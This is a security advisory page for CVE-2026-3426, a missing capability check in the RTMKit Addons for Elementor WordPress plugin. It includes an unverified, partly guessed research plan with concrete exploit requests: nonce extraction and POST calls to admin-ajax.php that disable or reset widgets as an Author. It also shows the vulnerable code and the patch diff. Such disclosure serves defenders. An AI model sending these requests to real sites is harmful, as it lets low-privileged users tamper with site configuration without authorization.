CVE-2026-3426

RTMKit Addons for Elementor <= 2.0.2 - Authenticated (Author+) Missing Authorization to Widget Configuration Modification

mediumMissing Authorization
4.3
CVSS Score
4.3
CVSS Score
medium
Severity
2.0.3
Patched in
2d
Time to patch

Description

The RTMKit Addons for Elementor plugin for WordPress is vulnerable to unauthorized modification of data due to missing capability checks on the save_widget() and reset_all_widgets() functions in all versions up to, and including, 2.0.2. This makes it possible for authenticated attackers, with Author-level access and above, to modify or reset site-wide widget configurations.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.0.2
PublishedMay 12, 2026
Last updatedMay 13, 2026

What Changed in the Fix

Changes introduced in v2.0.3

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Vulnerability Research Plan: CVE-2026-3426 RTMKit Widget Configuration Modification ## 1. Vulnerability Summary The **RTMKit Addons for Elementor** plugin (versions <= 2.0.2) contains a missing authorization vulnerability within its widget management functionality. Specifically, the functions `sa…

Show full research plan

Vulnerability Research Plan: CVE-2026-3426 RTMKit Widget Configuration Modification

1. Vulnerability Summary

The RTMKit Addons for Elementor plugin (versions <= 2.0.2) contains a missing authorization vulnerability within its widget management functionality. Specifically, the functions save_widget() and reset_all_widgets() (likely residing in an AJAX handler class such as RTMKit\Modules\Widgets\WidgetAPI, inferred) fail to perform capability checks (e.g., current_user_can('manage_options')) before modifying site-wide settings.

While the functions likely verify a WordPress nonce (rtmkit_nonce), this nonce is enqueued in the admin environment and Elementor editor, making it accessible to users with Author level permissions or higher. An attacker can leverage this to enable/disable widgets or reset the entire plugin configuration, impacting site functionality.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Vulnerable Actions: save_widget and reset_all_widgets (Inferred from function names in the vulnerability description).
  • Authentication: Authenticated user with Author role or higher.
  • Payload Parameter: action, nonce, widget_key (or similar identifier), and status.
  • Preconditions: The attacker must be logged in as an Author to access the admin dashboard or Elementor editor where the rtmkit_nonce is localized.

3. Code Flow

  1. Registration: The plugin registers AJAX handlers during init. Based on the pattern in Inc/Core/PluginApi.php and Inc/Modules/Themebuilder/ThemebuilderAPI.php, these actions are hooked to wp_ajax_save_widget and wp_ajax_reset_all_widgets.
  2. AJAX Request: An Author-level user sends a POST request to admin-ajax.php.
  3. Nonce Verification: The handler calls check_ajax_referer('rtmkit_nonce', 'nonce').
  4. Missing Authorization: Unlike set_global_site() in Inc/Core/PluginApi.php, which explicitly checks current_user_can('manage_options'), these functions proceed directly to data modification.
  5. Sink: The functions update the WordPress options table (e.g., via update_option()), modifying which Elementor widgets are active globally.

4. Nonce Acquisition Strategy

The nonce is localized in the rkit_libs object via wp_localize_script.

  • Source: Inc/Modules/Helper/EditorCanvas.php
  • Hook: elementor/editor/before_enqueue_scripts
  • Verification: Inc/Modules/Menu.php also likely enqueues a script in the admin dashboard that localizes the same nonce.
  • Strategy:
    1. Log in as an Author.
    2. Navigate to the WordPress dashboard (/wp-admin/).
    3. Use browser_eval to extract the nonce from the global JavaScript object.

Execution Command:

browser_eval("window.rkit_libs?.rtmkit_nonce")

5. Exploitation Strategy

The goal is to modify the global widget settings as an Author.

Step 1: Save Widget Configuration (Modification)

Action: save_widget
Parameters:

  • action: save_widget
  • nonce: [Extracted Nonce]
  • widget_key: pricetable (A valid widget name from Inc/Elements/PricingTable.php)
  • status: off (To disable the widget site-wide)

HTTP Request:

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=save_widget&nonce=[NONCE]&widget_key=pricetable&status=off

Step 2: Reset All Widgets (Mass Modification)

Action: reset_all_widgets
Parameters:

  • action: reset_all_widgets
  • nonce: [Extracted Nonce]

HTTP Request:

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=reset_all_widgets&nonce=[NONCE]

6. Test Data Setup

  1. Install Plugin: RTMKit Addons for Elementor <= 2.0.2.
  2. Create User: Create a user with the Author role.
    wp user create attacker attacker@example.com --role=author --user_pass=password123
    
  3. Verify Initial State: Ensure widgets are currently enabled.
    wp option get rtm_active_widgets (Inferred option name)
    

7. Expected Results

  • The AJAX response should return wp_send_json_success (e.g., {"success":true,"data":"..."}).
  • If authorization was missing, the request will return a success message despite the user being an Author.
  • If authorization was present, the response would be {"success":false,"data":"Access Denied."} or a 403 status code.

8. Verification Steps

After sending the HTTP request, use WP-CLI to check if the widget configuration changed in the database.

  1. Check Options Table:
    wp option get rtm_active_widgets
    
    (If the above option name is incorrect, search for related options: wp option list --search="*rtm*")
  2. Check Widget Availability: Try to view the Pricing Table widget in the Elementor editor; it should be missing or disabled if the exploit was successful.

9. Alternative Approaches

If the AJAX actions save_widget or reset_all_widgets return 400 (not found), the actions might be prefixed. Try:

  • rkit_save_widget
  • rtmkit_save_widget

If the nonce is not found on the dashboard, navigate to the "Help & Center" page registered in Inc/Modules/Menu.php (slug: rtmkit&path=help), as it allows the read capability and likely enqueues the necessary scripts.

# Navigate to Help page
browser_navigate("/wp-admin/admin.php?page=rtmkit&path=help")
Research Findings
Static analysis — not yet PoC-verified

Summary

The RTMKit Addons for Elementor plugin for WordPress is vulnerable to unauthorized modification of data in versions up to and including 2.0.2. This is due to missing capability checks on several AJAX functions, which allows authenticated attackers with Author-level permissions or higher to modify or reset site-wide widget configurations.

Vulnerable Code

// Inc/Core/PluginApi.php lines 41-53
    public function get_sidebar_content()
    {
        // Load the sidebar view file

        check_ajax_referer('rtmkit_nonce', 'nonce');
        if (!file_exists(RTM_KIT_DIR . 'views/sidebar.php')) {
            wp_send_json_error('Sidebar view file not found.');
            return;
        }
        ob_start();
        require_once RTM_KIT_DIR . 'views/sidebar.php';
        $content = ob_get_clean();
        wp_send_json_success($content);
    }

---

// Inc/Core/PluginApi.php lines 55-75
    public function get_content()
    {
        check_ajax_referer('rtmkit_nonce', 'nonce');

        if (!isset($_POST['path'])) {
            wp_send_json_error('Path not specified.');
            return;
        }
        $path = sanitize_text_field($_POST['path']);
        $file = RTM_KIT_DIR . 'views/' . $path . '.php';
        if (!file_exists($file)) {
            return '';
        }
        ob_start();
        require_once $file;
        $content = ob_get_clean();
        wp_send_json_success($content);

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/rometheme-for-elementor/2.0.2/Inc/Core/PluginApi.php /home/deploy/wp-safety.org/data/plugin-versions/rometheme-for-elementor/2.0.3/Inc/Core/PluginApi.php
--- /home/deploy/wp-safety.org/data/plugin-versions/rometheme-for-elementor/2.0.2/Inc/Core/PluginApi.php	2026-02-20 04:32:18.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/rometheme-for-elementor/2.0.3/Inc/Core/PluginApi.php	2026-03-04 09:39:30.000000000 +0000
@@ -37,6 +37,12 @@
         // Load the sidebar view file
 
         check_ajax_referer('rtmkit_nonce', 'nonce');
+
+        if (!current_user_can('manage_options')) {
+            wp_send_json_error('Access Denied.');
+            wp_die();
+        }
+
         if (!file_exists(RTM_KIT_DIR . 'views/sidebar.php')) {
             wp_send_json_error('Sidebar view file not found.');
             return;
@@ -50,15 +56,23 @@
     public function get_content()
     {
         check_ajax_referer('rtmkit_nonce', 'nonce');
+        if (!current_user_can('manage_options')) {
+            wp_send_json_error('Access Denied.');
+            wp_die();
+        }
+        $path = sanitize_text_field($_POST['path']);
+        $menus = \RTMKit\Modules\Menu::instance()->get_menu_by_path($_POST['path']);
 
         if (!isset($_POST['path'])) {
             wp_send_json_error('Path not specified.');
             return;
         }
-        $path = sanitize_text_field($_POST['path']);
-        $file = RTM_KIT_DIR . 'views/' . $path . '.php';
-        if (!file_exists($file)) {
-            return '';
+
+        if (isset($menus['render_view']) && file_exists($menus['render_view'])) {
+            $file = $menus['render_view'];
+        } else {
+            wp_send_json_error('View file not found for the specified path.');
+            return;
         }
         ob_start();
         require_once $file;

Exploit Outline

The exploit target is the plugin's AJAX management endpoint. An attacker with Author-level access logs into the WordPress dashboard and retrieves the 'rtmkit_nonce' from the global JavaScript object 'rkit_libs', which is localized on several admin pages accessible to Authors (such as the 'Help & Center' page). Using this nonce, the attacker sends a POST request to '/wp-admin/admin-ajax.php' with the action 'save_widget' and parameters defining a specific 'widget_key' and a 'status' (e.g., 'off'). Because the corresponding PHP handler fails to check for the 'manage_options' capability, the site-wide widget configuration is modified according to the attacker's payload. Similarly, the 'reset_all_widgets' action can be used to reset all plugin configurations.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.